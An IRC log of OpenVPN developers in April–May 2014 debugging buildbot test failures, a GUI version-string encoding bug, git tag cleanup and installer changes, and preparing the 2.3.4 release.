timeout: 252 seconds] 19:53 -!- plaisthos [~arne@openvpn/community/developer/plaisthos] has joined #openvpn-devel 19:53 -!- mode/#openvpn-devel [+o plaisthos] by ChanServ --- Day changed Wed Apr 30 2014 00:31 -!- roentgen [~irc@openvpn/community/support/roentgen] has joined #openvpn-devel 00:31 -!- mode/#openvpn-devel [+v roentgen] by ChanServ 01:06 -!- pekster [~rewt@openvpn/community/support/pekster] has quit [Ping timeout: 265 seconds] 01:13 -!- pekster [~rewt@openvpn/community/support/pekster] has joined #openvpn-devel 01:13 -!- mode/#openvpn-devel [+o pekster] by ChanServ 01:51 -!- mattock [~mattock@openvpn/corp/admin/mattock] has left #openvpn-devel [] 01:52 -!- mattock [~mattock@openvpn/corp/admin/mattock] has joined #openvpn-devel 01:52 -!- mode/#openvpn-devel [+o mattock] by ChanServ 02:11 <@cron2> mattock: mornin' 02:12 <@vpnHelper> RSS Update - gitrepo: Conditionalize calls to print_default_gateway on !ENABLE_SMALL <https://github.com/OpenVPN/openvpn/commit/c29e08a2f33234fb705a8323c0d9e1e07b0773fd> 02:17 <@mattock> morning 02:20 <@cron2> mattock: could you poke James to state his opinion on Syzzer's version of the "tls-version-min" patch? With that going in, we could ship 2.3.4 02:20 <@mattock> cron2: ok, will do 02:27 <@cron2> thanks 03:06 <@syzzer> woot, an ACK from James \o/ 03:06 <@cron2> woot, that was quick :) 03:06 <@cron2> good 03:07 <@cron2> going through open tickets with milestone 2.3.3 and 2.3.4 right now, closing what's done, reclassifying to 2.3.5 what is not going to make it 03:07 <@cron2> if you have anything else that should be in 2.3.4, holler now! 03:07 <@cron2> mattock: what about the cool new installer things from _bt? 03:16 -!- reators [~holger@2001:1a80:2000:2:fe4d:d4ff:fed2:6b99] has joined #openvpn-devel 03:17 <@cron2> mattock: trac #390 and #396 can go away if you merge that :) 03:20 <@mattock> cron2: I'll test _bt's changes 03:35 <@cron2> uh, the arch-amd64 buildbot is sending very strange failure reports 03:40 <+roentgen> cron2: any idea what that might be? 03:41 <+roentgen> it's my buildslave 03:43 <@cron2> roentgen: hard to say, it just says "FAIL: t_client.sh" 03:44 <@cron2> that can be a number of things and for whatever reason it's not showing the output 03:44 <+roentgen> yeah... I'm stuck on that too... and I can't see what else I could check 03:44 <@cron2> most likely the most easy thing to do is: 03:44 <@cron2> go somewhere else (out side buildbot's regime) 03:44 <@cron2> clone openvpn git 03:44 <@cron2> build :-) 03:45 <@cron2> copy/link in t_client.rc 03:45 <@cron2> "make check" 03:45 <@cron2> and see what it tells you, should be more verbose 03:45 <+roentgen> OK... sound good 03:52 <@mattock> I'll have a look at the buildbot web interface 03:53 <@mattock> ah, this one failed: builder-arch-amd64-stable-master--with-crypto-library=polarssl --enable-crypto --enable-ssl 03:54 <@mattock> polarssl connectivity tests 03:54 <@mattock> yep, better to run "make check" manually 03:59 <@cron2> my gut feeling is that it's either "sudo not doing the job / not being configured right" or "the to-be-assigned IP addresses not being right" 03:59 <@cron2> as the latter ones can only be fixed in t_client.rc after the server has actually assigned them :) 03:59 <@mattock> the IP addresses are fine 04:00 <@mattock> the basic connectivity tests (w/o build flags) worked fined yesterday 04:00 <@mattock> =using openssl 04:00 <@cron2> mmmh, then one would need to look into that build dir, into tests/, into the subdirectory with the most recent timestamp, and check the logs in there 04:02 <@mattock> although this time there's sudo involved 04:02 <@cron2> no where's syzzer's polar-with-decimal patch for 2.3... *searching* 04:03 <@mattock> both openssl and polarssl connectivity tests have failed, so I suspect there's something going on with sudo 04:05 <@mattock> roentgen: you probably need to add stuff like ifconfig, route etc. to the sudo line 04:05 <@mattock> not sure exactly what binaries openvpn might call 04:06 <+roentgen> mattock: as long as openvpn runs as sudo root it should also work for things it calls 04:06 <@mattock> I wonder if it's dropping the privileges after initial connection? 04:06 <+roentgen> I'm checking right now to find more clues 04:10 <@cron2> mattock: no 04:10 <@mattock> ok 04:10 <@cron2> sudo'ing openvpn is sufficient - but the way sudo works, you need to specify the full path to openvpn in that case, which you can't (as you'd need to specify all the build paths), so my buildbots basically permit "any command" 04:11 <@cron2> (if sudo would permit "openvpn wherever you find it" it's about as insecure as "just run any command") 04:11 <@cron2> if openvpn runs at all, you'll find the logs in tests/<timestamp>/<stanza>:openvpn.log 04:12 <@cron2> if sudo refuses, there won't be openvpn logs, but there should be "ifconfig+route" logs in there 04:12 <@mattock> I believe roentgen is using the sudo line documented here: https://community.openvpn.net/openvpn/wiki/SettingUpBuildslave 04:12 <@vpnHelper> Title: SettingUpBuildslave – OpenVPN Community (at community.openvpn.net) 04:12 <@mattock> buildbot ALL=(root) NOPASSWD: /usr/bin/kill,/home/buildbot/<build_slave_dir>/*/build/src/openvpn/openvpn 04:13 <@cron2> you can do that with a "*" in there? wow :-) 04:13 * cron2 needs to tighten the permissios on his buildslaves :) 04:13 <@mattock> I haven't tried it, but possibly, unless that "*" is what's breaking this 04:14 <@cron2> so what are *your* buildslaves using? 04:14 <+roentgen> cron2: if you mean OS, that's Linux 04:14 <+roentgen> might it be related to a network failure I had at around that time? 04:15 <@mattock> roentgen: quite likely 04:15 <@mattock> we can retrigger the builds to see 04:15 <+roentgen> of course ;) 04:15 <@mattock> I'll do it now 04:15 <@mattock> ok? 04:15 <+roentgen> ok.. 04:16 <@mattock> started 04:16 <@mattock> according to "man sudoers" the * should work 04:16 <@mattock> which is neat 04:17 <@mattock> it also does _not_ match a "/", so a single "*" will only match that one particular part of the file path 04:18 <@mattock> _bt: I'm testing out your NSI changes now 04:18 <@mattock> "almost there" I'd say 04:19 <@cron2> roentgen: uh, yes, spurious network outages could trigger this (but "normally" t_client should show some sort of output *which* tests succeeded or failed) 04:20 <@cron2> so I think it's more sudo related -> but again, checking the tests/ subdirectory you can see what happened 04:22 <+roentgen> cron2: seems network related. In the tests dir the openvpn.log has lots of 04:22 <+roentgen> Wed Apr 30 10:57:23 2014 SIGUSR1[connection failed(soft),init_instance] received, process restarting 04:22 <+roentgen> Wed Apr 30 10:57:23 2014 Restart pause, 5 second(s) 04:22 <@cron2> then sudo should be good 04:23 < _bt> mattock: if more needs doing just let me know :) 04:23 <+roentgen> I guess so.... It worked fine last night 04:23 <@cron2> makes me wonder where buildbot is hiding the output of t_client.sh - I run older versions of buildslave, and I see such failures nicely in the mail 04:23 <@mattock> _bt: ok, I'll let you know how building and testing goes 04:23 <@cron2> d12fk: as you're around and alive - any idea on the IV_GUI_VER problem I sent to the -devel list saturday? 04:25 <@d12fk> cron2: hi, have not looked at it, what's the problem? 04:26 <@cron2> it seems the string gets converted to "something wide" before passed to OpenVPN, so what the server receives is "about" twice as long as the string that should be there 04:27 <@cron2> it's a bit weirder - it's not exactly twice as long, and one really should see the ascii characters intermixed with "_", but it's "all _ but for a few '1'" 04:28 <+roentgen> cron2: there is a test-suite.log which has all the failures in there 04:28 <+roentgen> http://paste.kde.org/pxbffgj2f/srmyvr/raw 04:28 <@cron2> roentgen: ah. This is good. yes, this means "sudo is fine, but the network was not working right" 04:29 <+roentgen> we still have the problem why there's no mail with actual errors? 04:30 <@d12fk> cron2: seems to wide characters are not translated into utf8 during parsing the cmdline, and then ovpn replaces the non-utf8 with _ 04:30 <@cron2> well, the "_" is easily explained (anything non-isalnum on the server, iirc) 04:31 <@cron2> but there *should* be a printable character every second letter 04:31 <@d12fk> i'll take a llok and provide a patch, but i can't test as the bild sys is still broken die to lack of time 04:31 <@cron2> and I'm fairly sure our command line parser has no idea about unicode... 04:32 <@cron2> d12fk: take your time. This is a "really nice to have" thing, but not release-critical 04:32 <@d12fk> is has, but somehow it must fail here 04:32 <@cron2> it has? oh, cool :-) 04:32 <@d12fk> mabe the patch where the vars are coming in at the server is blind regarding utf8 04:32 <@d12fk> what's that called actually? 04:33 <@d12fk> the IV vars i mean 04:33 <@cron2> "push-peer-info variables" 04:33 <@cron2> the server side expect this to be single-width characters, and nothing but letters, numbers and ".", I think 04:33 <@d12fk> ok, just to get the naming right =) 04:34 <@d12fk> ok the the client has to convert them to ascii before sending 04:34 <@cron2> basically on parsing of "setenv" if the argument is non-ascii, yes 04:36 <@cron2> misc.c:validate_peer_info_line() is what defines "acceptable" - "isprint() minus space, $, ( and `" 04:37 <@d12fk> is ppi happening befor auth? 04:37 <@cron2> during auth 04:37 <@cron2> it's part of the packet that contains username and password 04:37 <@d12fk> then i'd say we stick to that and make sure the client sends ascii 04:38 <@cron2> yep 04:38 <@d12fk> otoh the version string should look like ascii in utf8 encoding as well, so it must not be encoded in utf8 04:39 <@d12fk> i'll take a look later 04:40 <@cron2> I think the gui encodes this as ucs16 or so (_sntprintf_0() -> wprintf()) and then "something else" mangles it a second time 04:40 <@d12fk> ping me in the late afternoon if you can so i dont forget 04:40 <@cron2> details on what I have are in the mail 04:40 <@cron2> happy to :) 04:40 <@d12fk> oki 04:40 <@plaisthos> cron2: ucs2 or utf16 04:41 <@plaisthos> but not ucs16 ;) 04:41 <@plaisthos> (UCS2 is a subset of utf-16, like ascii is a subset of utf-8 04:41 * cron2 waves his "schei<?> encoding" t-shirt 04:41 <@d12fk> heh 04:41 <@plaisthos> :) 04:42 <@cron2> http://www.getdigital.de/scheiss-encoding.html 04:42 <@vpnHelper> Title: Schei? Encoding - 24h Lieferung | getDigital (at www.getdigital.de) 04:42 <@plaisthos> very nerdy shirt 06:28 <@cron2> any objections against me tagging what we have in release/2.3 as "2.3.4"? 06:29 <@mattock> _bt: I get this error when building with your patches: 06:29 <@mattock> StrCpy $strGuiKilled "1" () () 06:29 <@mattock> !insertmacro: nsProcess::FindProcess 06:29 <@mattock> Invalid command: nsProcess::_FindProcess 06:29 <@mattock> Error in macro nsProcess::FindProcess on macroline 1 06:29 <@mattock> Error in script "openvpn.nsi" on line 208 -- aborting creation process 06:29 <@mattock> FATAL: makensis 06:29 <@mattock> FATAL: pack i686 >&2 06:29 < _bt> ; nsProcess.nsh to detect whether OpenVPN process is running ( http://nsis.sourceforge.net/NsProcess_plugin ) 06:29 < _bt> !include "nsProcess.nsh" 06:29 <@vpnHelper> Title: NsProcess plugin - NSIS (at nsis.sourceforge.net) 06:29 < _bt> you need that file, it's in my fork 06:30 <@mattock> I believe I copied it over, but I'll double check 06:30 <@mattock> yep, I have it there 06:30 < _bt> where do you have it? 06:31 <@mattock> in openvpn-build/nsis/nsProcess.nsh 06:31 <@mattock> sorry windows-nsis/... 06:31 < _bt> /usr/share/nsis/Include/nsProcess.nsh 06:31 < _bt> /usr/share/nsis/Plugins/nsProcess.dll 06:31 <@mattock> ah, ok, so it expects to find it from there 06:31 < _bt> potentially 06:31 < _bt> try it 06:31 < _bt> if it works, i'll see if i can get it to run from windows-nsis/ 06:33 <@mattock> retrying with the DDL in /usr/share/.. 06:33 <@mattock> DLL 06:33 <@mattock> takes a while, it will compile openvpn first 06:34 < _bt> you could just try makensis openvpn.nsi 06:34 < _bt> if only to test that part 06:35 <@mattock> it won't work without the -D params 06:36 <@mattock> but I've done that in the past, and it's documented in the wiki 06:39 <@mattock> _bt: the build succeeded now, with nsProcess.dll in /usr/share/nsis/Plugins/ 06:40 < _bt> right 06:40 < _bt> let me make some changes.. 06:41 < _bt> seems it can be sorted with !addplugindir 06:41 < _bt> let me see if i can work this 06:44 <@cron2> argh 06:44 <@cron2> git 06:44 <@cron2> grrr 06:44 <@cron2> we have a spurious tag called "list" in our repos now. Sorry for that. 06:46 <@cron2> we do also have a tag v2.3.4 :-) with much nicer properties, like "a message with it" and "a pgp signature" 06:47 <@plaisthos> I think you can delete tags on remotes 06:48 <@plaisthos> in sourcetree it is rightclick delete and check on all remotes 06:48 <@plaisthos> you have probably to ask dazo how that trasnlates to command line 06:48 <@plaisthos> git push -v origin :refs/tags/v2.2.0 appearently 06:50 <@cron2> so for a tag "list" that would be 06:50 <@cron2> git push -v origin :refs/tags/list 06:50 <@cron2> ? 06:51 <@cron2> - [deleted] list 06:51 <@cron2> yep 06:51 <@cron2> thanks 06:51 <@cron2> phewh :) 06:52 <@cron2> mattock: yours now 06:52 <@mattock> tomorrow or the day after tomorrow, then 06:53 <@mattock> I'll try to get _bt's changes in to the installer though 06:53 <@cron2> that would be great :) 06:53 < _bt> mattock: i'm just testing so that the .dll can remain in windows-nsis 06:53 <@plaisthos> cron2: Yeah. 06:53 <@plaisthos> I never understood why : stand for delete on push 06:54 <@cron2> plaisthos: it's <old>:<new> and if <old> is "nothing", that is delete 06:54 <@cron2> I've seen this on branches 06:54 <@plaisthos> right 06:54 <@plaisthos> because renanming nothing to somthing is delete 06:55 <@plaisthos> I would have expection something to nothing is delete 06:55 <@cron2> but besides this, there is much magic in git-push that stille scapes me... I'm following instructions from dazo for "what I need to do with the official repositories" and only break my own stuff :) 06:55 <@plaisthos> but that is git we are talking about 06:55 <@cron2> "nothing here" copied over "something there", so nothing there anymore :) 06:55 <@plaisthos> cron2: yeah. I am gald I have no push rights on official git :) 06:55 <@plaisthos> cron2: that makes sense actually 06:56 <@cron2> plaisthos: given your track record with a zillion hg and git repos, so am I :-) 06:56 <@plaisthos> cron2: :D 06:56 <@plaisthos> where zillion is 1 06:56 <@plaisthos> :) 06:56 <@cron2> plaisthos: have you seen the trac ticket I've thrown into your direction? (user "plai") 06:56 < _bt> https://github.com/freddysdad/openvpn-build/commit/401732a255aa8d0a058e86fb6f57dbb661f0eae2 06:56 <@cron2> didn't you have multiple repos with multiple conflicting copies of everything? ;-) 06:56 <@vpnHelper> Title: allow process detection plugin to run from windows-nsis dir · 401732a · freddysdad/openvpn-build · GitHub (at github.com) 06:56 <@plaisthos> just with a lot of branches 06:57 <@cron2> ah 06:57 <@plaisthos> Since I always rebase my stuff against -master I end up with a branch for each icsopenvpn version 06:57 <@plaisthos> icsopenvpn612 branch 06:57 <@plaisthos> icsopenvpn613 branch 06:57 <@plaisthos> and so on 06:57 <@plaisthos> cron2: plai isn't my user 06:57 <@plaisthos> it is plaisthos 06:57 <@plaisthos> no idea who plai is 06:58 <@mattock> cron2, plaisthos: could these Git oddities regarding tag deletion finally be the proof that downloading illegal content actually _is_ stealing? if you copy "something from here to there", it no longer exists at the source 06:58 <@mattock> _bt: noted, testing 06:59 <@plaisthos> there is https://community.openvpn.net/openvpn/report/4 06:59 <@vpnHelper> Title: {4} Accepted, Active Tickets by Owner – OpenVPN Community (at community.openvpn.net) 06:59 <@plaisthos> but not just tickets by owner 07:01 <@plaisthos> cron2: which ticket are you talking about? 07:01 <@plaisthos> 398? 07:03 <@plaisthos> I will probably just throw the proxy related ifdefs away 07:03 <@plaisthos> also ENABLE_CLIENT_NAT 07:04 <@plaisthos> which is even unconditionally enabled 07:08 <@cron2> plaisthos: yep, that one 07:09 <@plaisthos> yeah. Probably good reassign my two plai tickets to plaisthos 07:09 <@plaisthos> compare https://community.openvpn.net/openvpn/query?status=!closed&owner=plai and https://community.openvpn.net/openvpn/query?status=!closed&owner=plaisthos 07:09 <@vpnHelper> Title: Custom Query – OpenVPN Community (at community.openvpn.net) 07:10 * cron2 can't see open tickets owned by "plai" 07:11 <@plaisthos> :) 07:11 * plaisthos only sees Changed 38 seconds ago by cron2 07:55 <@cron2> aaargh. Windows. *hate* 07:55 <@cron2> something in MS' latest updates seems to have destroyed my XP VMs 07:55 <@cron2> "turn on, black screen, 100% CPU used by vmware-vmx, nothing" 08:05 -!- mattock [~mattock@openvpn/corp/admin/mattock] has left #openvpn-devel [] 08:05 -!- mattock [~mattock@openvpn/corp/admin/mattock] has joined #openvpn-devel 08:05 -!- mode/#openvpn-devel [+o mattock] by ChanServ 08:06 <@mattock> cron2: I added a new buildslave, ubuntu-1404-amd64, primarily because I also need it for openvpn-build 08:13 <@mattock> urgh, missing deps 08:19 <@plaisthos> Apr 30 15:19:12 dns dhcpd: 5 bad udp checksums in 5 packets 08:19 <@plaisthos> Sometimes I hate virtualization 08:41 <+krzee> plaisthos, does your android client do statickey mode? 08:45 <@mattock> _bt: I will test your installer changes tomorrow/the day after tomorrow and try to get them integrated into the first 2.3.4 installer if at all possible 08:45 <@mattock> got distracted by other stuff 08:46 < _bt> not a problem 08:46 <@mattock> I have a functional installer now which I can test, so it should be straightforward 09:05 -!- mattock is now known as mattock_afk 10:09 -!- roentgen [~irc@openvpn/community/support/roentgen] has quit [Remote host closed the connection] 10:16 -!- siruf [~siruf@unaffiliated/motley] has quit [Ping timeout: 240 seconds] 10:23 -!- siruf [~siruf@unaffiliated/motley] has joined #openvpn-devel 10:42 -!- roentgen [~irc@openvpn/community/support/roentgen] has joined #openvpn-devel 10:42 -!- mode/#openvpn-devel [+v roentgen] by ChanServ 11:19 -!- reators [~holger@2001:1a80:2000:2:fe4d:d4ff:fed2:6b99] has quit [Quit: Leaving.] 14:03 -!- krzee [~k@openvpn/community/support/krzee] has quit [Read error: Connection reset by peer] 14:03 -!- krzee [~k@openvpn/community/support/krzee] has joined #openvpn-devel 14:03 -!- mode/#openvpn-devel [+v krzee] by ChanServ 15:18 -!- mattock_afk is now known as mattock 15:51 -!- mattock is now known as mattock_afk 16:18 -!- roentgen [~irc@openvpn/community/support/roentgen] has quit [Ping timeout: 240 seconds] 20:26 -!- hk4l [6c0cf397@gateway/web/cgi-irc/kiwiirc.com/ip.108.12.243.151] has joined #openvpn-devel 20:26 -!- hk4l [6c0cf397@gateway/web/cgi-irc/kiwiirc.com/ip.108.12.243.151] has left #openvpn-devel [] --- Day changed Thu May 01 2014 04:22 -!- mattock_afk is now known as mattock 05:52 <@cron2> eerie silence today 05:57 <@syzzer> ssssst... 05:58 <@syzzer> we need silent drums to work up the tension towards the 2.3.4 release 06:06 <@cron2> the tension is just "waiting for mattock" :) 06:06 <@mattock> the tension will be released tomorrow, lol :) 06:06 <@mattock> won't have time today unfortunately, although I'll set the wheels in motion today 06:14 <@syzzer> so a Friday-release after all 06:18 <@cron2> monday was just too short to make it happen :) 10:37 -!- Eagle_Erwin [~Erwin@codeserver.student.utwente.nl] has joined #openvpn-devel 10:53 -!- debbie10t [~ma1com10t@host-92-20-3-80.as13285.net] has joined #openvpn-devel 10:54 < debbie10t> Hi: Could someone who knows about Android please give this guy a reply: https://forums.openvpn.net/post40797.html#p40797 -- No rush but I do not know about android ... 10:54 <@vpnHelper> Title: OpenVPN Support Forum OpenVPN Connect with static routes? : OpenVPN Connect (Android) (at forums.openvpn.net) 10:54 < debbie10t> thanks 12:40 -!- zoomequipd [~zoomequip@gateway/tor-sasl/zoomequipd] has quit [Remote host closed the connection] 12:41 -!- zoomequipd [~zoomequip@gateway/tor-sasl/zoomequipd] has joined #openvpn-devel 12:43 -!- zoomequipd [~zoomequip@gateway/tor-sasl/zoomequipd] has quit [Remote host closed the connection] 12:44 -!- zoomequipd [~zoomequip@gateway/tor-sasl/zoomequipd] has joined #openvpn-devel 14:06 <@cron2> well, "Connect" is the commercial client... we only know about "OpenVPN for Android" 14:37 -!- roentgen [~irc@openvpn/community/support/roentgen] has joined #openvpn-devel 14:37 -!- mode/#openvpn-devel [+v roentgen] by ChanServ 14:44 -!- selva [~selva@scala.nanotech.utoronto.ca] has joined #openvpn-devel 14:51 -!- selva [~selva@scala.nanotech.utoronto.ca] has left #openvpn-devel [] 15:01 <@mattock> ok, now to bed so I'm up early to have fun releasing 2.3.4 :) 15:05 < debbie10t> cron2: so my question belongs in openvpn-as ? 15:06 < debbie10t> ooo ... 234 .. and I just got 233 working ;) 15:08 -!- roentgen [~irc@openvpn/community/support/roentgen] has quit [Remote host closed the connection] 15:08 <@cron2> debbie10t: well, yes, in -as people might be able to give a direct answer 15:13 -!- mattock is now known as mattock_afk 15:25 -!- roentgen [~irc@openvpn/community/support/roentgen] has joined #openvpn-devel 15:25 -!- mode/#openvpn-devel [+v roentgen] by ChanServ 15:59 -!- zoomequipd [~zoomequip@gateway/tor-sasl/zoomequipd] has quit [Remote host closed the connection] 16:00 -!- zoomequipd [~zoomequip@gateway/tor-sasl/zoomequipd] has joined #openvpn-devel 16:27 -!- roentgen [~irc@openvpn/community/support/roentgen] has quit [Ping timeout: 245 seconds] 16:50 -!- debbie10t [~ma1com10t@host-92-20-3-80.as13285.net] has left #openvpn-devel [] 20:43 * ecrist fixes openvpn-devel IRC logs 21:31 -!- krzie [~k@openvpn/community/support/krzee] has joined #openvpn-devel 21:31 -!- mode/#openvpn-devel [+v krzie] by ChanServ 21:32 -!- krzee [~k@openvpn/community/support/krzee] has quit [Read error: Connection reset by peer] 21:32 -!- krzie is now known as krzee --- Day changed Fri May 02 2014 00:45 -!- mattock_afk is now known as mattock 02:27 <@cron2> syzzer: is the EKU patch for 2.3.x as well, or master-only? 02:28 <@cron2> (I find dazo's wording a bit confusing, but the explanation of the return values is good enough reason for the ACK) 03:09 <@syzzer> cron2: both :) 03:10 <@cron2> ok 03:11 <@syzzer> won't get into 2.3.4 anymore I guess? 03:11 <@cron2> no, that has already been tagged and the tag pushed out 03:11 <@syzzer> ok 03:11 <@cron2> but since we seem to get the hang of "making a release" now, we can do a 2.3.5 soonish... 03:12 <@cron2> there's also the windows IV_GUI_VER thing which is not yet working right due to unicode/ucs2/utf16/...? conversion surprises 03:12 <@syzzer> ah, yes, that is a fix that warrants a release probably 03:15 <@mattock> building 2.3.4 for debian/ubuntu and windows 03:15 <@mattock> so far so good 03:15 <@mattock> will include latest openvpn-gui 03:29 -!- siruf_ [~siruf@unaffiliated/motley] has joined #openvpn-devel 03:31 <@cron2> mattock: "latest" is no good, as the IV_GUI_VER patch is not working yet 03:32 <@cron2> sticking to "right before that" is better, let me get you the committish 03:32 <@mattock> cron2: ok 03:33 <@mattock> I'll revert back to openvpn-gui-6 then (HEAD at 060da97c5f113a2) 03:34 <@cron2> yeah, that is good. The next one is just a build fix, I think, and then we're already at the IV_GUI_VER 03:34 <@cron2> and we know that gui-6 is well tested by now :) 03:34 -!- Netsplit *.net <-> *.split quits: siruf 03:34 <@cron2> oh 03:34 -!- siruf_ is now known as siruf 03:34 * cron2 promised to poke d12fk about this, and forgot 03:35 <@cron2> d12fk: *queued poke* 03:35 <@mattock> there's one minor translation fix after the IV_GUI thing, but that we can omit for now 03:35 <@cron2> yep 03:35 <@mattock> I'll produce new builds when IV_GUI is working 03:35 <@cron2> +1 03:59 <@mattock> cron2: do you have a condensed summary of the changes in 2.3.4? not a patch list (those I have), but an overview 03:59 <@mattock> something to put into the announcements basically 04:02 <@cron2> mattock: nothing ready-made. I'd look at "git log"... most of it is minor bugfixes. The big things are: SSL-Version logging and including in peer-info, and the PolarSSL certificate change (reporting as decimal, as OpenSSL does) 04:03 <@mattock> does the polarssl thing affect end users? 04:03 <@mattock> I mean in practice 04:03 <@cron2> oh, and "not enable TLS version negotiation by default". This is the most important bit 04:03 <@mattock> yeah, that was my impression too 04:03 <@cron2> so: big things: TLS version "off by defualt". SSL-Library version reporting. 04:04 <@cron2> "plus a number of small fixes" 04:04 <@cron2> I don't think the polarssl change actually affected anyone, otherwise we might have heard about it :) 04:04 <@syzzer> mattock: *if* someone is using the cert serial env, it will affect him/her 04:04 <@cron2> yeah, it needs to be included, under the heading of "make documentation and implementation for OpenSSL and PolarSSL consistent, always use decimal serials" 04:05 <@cron2> oh, and the SOCKSv5 method selection patch 04:05 <@cron2> 34df13fdb 04:05 <@cron2> so, 4 big things (TLS-v, SSL-Library, PolarSSL serials + docs, SOCKSv5 authentication) 04:06 <@mattock> "The most important change in this release is that TLS version negotiation is no longer used unless it's explicitly turned on in the configuration files." 04:08 <@cron2> ", thus reverting back to the 2.3.2 behaviour as we saw interoperability issues in 2.3.3" 04:13 <@mattock> ok, adding 04:15 <@plaisthos> krzee: late, but yes my client can do statickey 04:15 <@plaisthos> krzee: and should import configs with static key just fine 05:06 < n13l> hey all 05:07 < n13l> syzzer: hi, can i help with something ? :-) so we can move forward with feature patches ? ;-) 05:09 < n13l> dazo: hi, would like to discuss some minor things related to plugin interface. when can i catch u here ? ;-) 05:24 <@cron2> mattock: plus, of course, "make the windows installer more robust against stuid users" :-) 05:28 <@mattock> haha 05:29 <@mattock> smoketests went fine, also tested _bt's changes which seemed to work well 05:44 <@mattock> almost there, but will have to continue after lunch 05:53 <@mattock> preview of the release announcement here: http://pastebin.com/juJrZyB3 05:53 <@mattock> I'll make the release in about 2-3 hours 05:58 < _bt> mattock: typo in openssl version 06:54 <@syzzer> n13l: hi, no, not yet I think. Other (more pressing) stuff claimed precedence over your patch, sorry... 06:56 <@syzzer> it is on my todo list though :) 07:00 <@mattock> _bt: where exactly? 07:00 < _bt> on your pre release notes 07:00 < _bt> line 6 towards the end 07:01 <@mattock> OpenSSL 1.0.0g? 07:01 <@mattock> ah yes 07:01 <@mattock> of course 07:01 <@mattock> 1.0.1g 07:01 <@mattock> thanks! 07:07 <@mattock> cron2: do you think with the TLS versioning thing being reverted it would be safe to make 2.3.4 the only "stable" release on the download page? 07:08 <@mattock> with 2.3.3 and 2.3.2 in the "Old releases" page 07:09 <@cron2> I'd leave 2.3.2-I004 and 2.3.4-I001, as 2.3.2-I004 is "the old and known-good code". 2.3.4 *should* be fine, but there's quite a bit of changed code in there 07:09 <@mattock> ok 07:10 <@cron2> "someone's system will have issues with the new installer", or such... (unlikely, but given the plethora of windows systems out there...) 07:11 * _bt hopes they don't 07:11 * _bt doesn't want to look stupid 07:11 < _bt> he he 07:12 <@cron2> well, we all assumed the tls changes in 2.3.3 would be "safe enough". Now we all look stupid :-) - the only way to not have that happen now and then is "never contribute". 07:12 <@cron2> But that looks stupid *and* lazy :-))) 07:14 < _bt> hehehe yeah 07:14 < _bt> at least you're not openssl eh 07:14 < _bt> ; ) 07:14 <+krzee> nah even that does not work, i have submitted no code and still looked stupid a time or 2 ;] 07:24 <@ecrist> I think Timothe or wtf his name is should wander into IRC and discuss things 07:24 <@ecrist> there's some added benefit to real-time conversation 07:28 <@cron2> he was here on last IRC meeting, and that was actually quite constructive. I'm not sure why he's so pushing all of a sudden 07:30 <@mattock> he seems quite pedantic 07:31 <@ecrist> quite 07:31 <@mattock> I suppose that was quite an understatement 07:31 <@ecrist> fwiw, I agree with your view in your recent replies, cron2 07:32 <@ecrist> ugly code shouldn't beget more ugly code 07:33 <@mattock> I'll ask him to come here and talk about it 07:34 <@mattock> sent an email 07:35 <@ecrist> his emails seem more focused on "features, fast" than fixing problems and adding features as appropriate 07:35 <@ecrist> I don't think that's condusive to good coding, and a clean project source 07:37 <@cron2> well, "fast releases" usually *is* one of the benefits of open source - "get stuff out, get people to test and provide feedback" 07:37 <@cron2> the problem is that we're not "your typical open source project" but "bugs affect other people's network security" 07:37 <@mattock> there are many areas where Timothe could be of much use, so it's a shame if this escalates into useless fighting and fingerpointing 07:38 <@cron2> mattock: I stop argueing at this point, and leave the diplomacy bits to you :-) - you're better in that than I am 07:38 <@mattock> I already sent him mail asking if he'd like to help us out with the (perfectly valid) shortcomings in our development 07:39 <@mattock> no response so far 07:39 <@mattock> and dazo asked basically the same 07:39 <@mattock> I we'll see how it goes 07:40 <@mattock> I'll see 07:40 <@mattock> umg, I should not write anything anymore :P 07:40 <@cron2> mattock: maybe we should *not* make the release today, then...? :-) 07:40 <@mattock> I've written most of what's required, so I think I can manage :D 07:45 <@mattock> would it be to bold to add the NDIS 6-enabled installers into the same table as the NDIS 5 installers? 07:45 <@mattock> marked "experimental" 07:45 <@mattock> how many thousands of users would download them by mistake? 07:46 <@cron2> let 07:46 <@cron2> let's not do that today... but after the dust has settled a bit :) 07:47 <@mattock> I'll semi-hide them then 08:08 <@mattock> they're here now: https://community.openvpn.net/openvpn/wiki/ExperimentalVersions 08:08 <@vpnHelper> Title: ExperimentalVersions – OpenVPN Community (at community.openvpn.net) 08:08 <@mattock> and linked to on the download page 08:30 <@mattock> 2.3.4 out: http://openvpn.net/index.php/download/community-downloads.html 08:30 <@vpnHelper> Title: Community Downloads (at openvpn.net) 08:30 <@mattock> I'll push the debian packages to the repos after smoketesting and then make the announcements 08:50 < _bt> mattock: do you want me to cancel my pull request 08:51 <@mattock> nope 08:51 <@mattock> I will accept it after I've pushed out this release 08:51 < _bt> cool 08:51 <@mattock> the new 2.3.4 will include your changes 08:51 <@mattock> soon your changes will be used by tens of thousands of people :) 08:51 < _bt> for the next release i hope to have fixed the GUI to die on WM_CLOSE no matter what 08:52 < _bt> yay 08:52 <@mattock> forum announcement: https://forums.openvpn.net/topic15757.html 08:52 <@vpnHelper> Title: OpenVPN Support Forum OpenVPN 2.3.4 released : Announcements (at forums.openvpn.net) 08:55 <@mattock> I will smoketest the NDIS 6 64-bit installer with the installer changes and then I'm done I think 08:59 <@mattock> seemed to work 09:00 <@mattock> _bt: will you be able to fix stuff today/tomorrow if there's something really wrong with the installer code (which our testing did not catch)? 09:00 <@mattock> I doubt there is anything, but you never know 09:00 < _bt> yes 09:00 < _bt> let me just add this channel to irc on my phone 09:02 < _bt> can i assign a 2nd nick to my freenode user? 09:02 < _bt> as it won't let me join without being registered 09:05 <@mattock> yep, you can 09:06 <@mattock> don't know how that's done exactly, but there's documentation in freenode docs I believe 09:07 <@mattock> here's something that should work: http://www.wikihow.com/Register-a-User-Name-on-Freenode 09:07 <@vpnHelper> Title: How to Register a User Name on Freenode: 7 Steps (with Pictures) (at www.wikihow.com) 09:07 <@mattock> includes instructions for registering alternate nicknames bound to the identity 09:08 -!- _bt2 [~bt@unaffiliated/bt/x-192343] has joined #openvpn-devel 09:08 < _bt> done : ) 09:08 <@mattock> hi _bt2! :) 09:08 < _bt2> Hi mattock! 09:08 < _bt> its bank holiday here in UK on Monday as well 09:08 <@mattock> It seems we're ready for the possible shitstorm :P 09:09 <@mattock> oh 09:09 <@mattock> Monday is plain standard workday here in Finland I believe 09:09 < _bt> ill still keep IRC open anyway 09:09 <@mattock> excellent, thanks! 09:10 <@mattock> I'm pretty sure that if there are major issues we will here about it today in a few hours 09:10 < _bt> ive ran the installer lots of times over 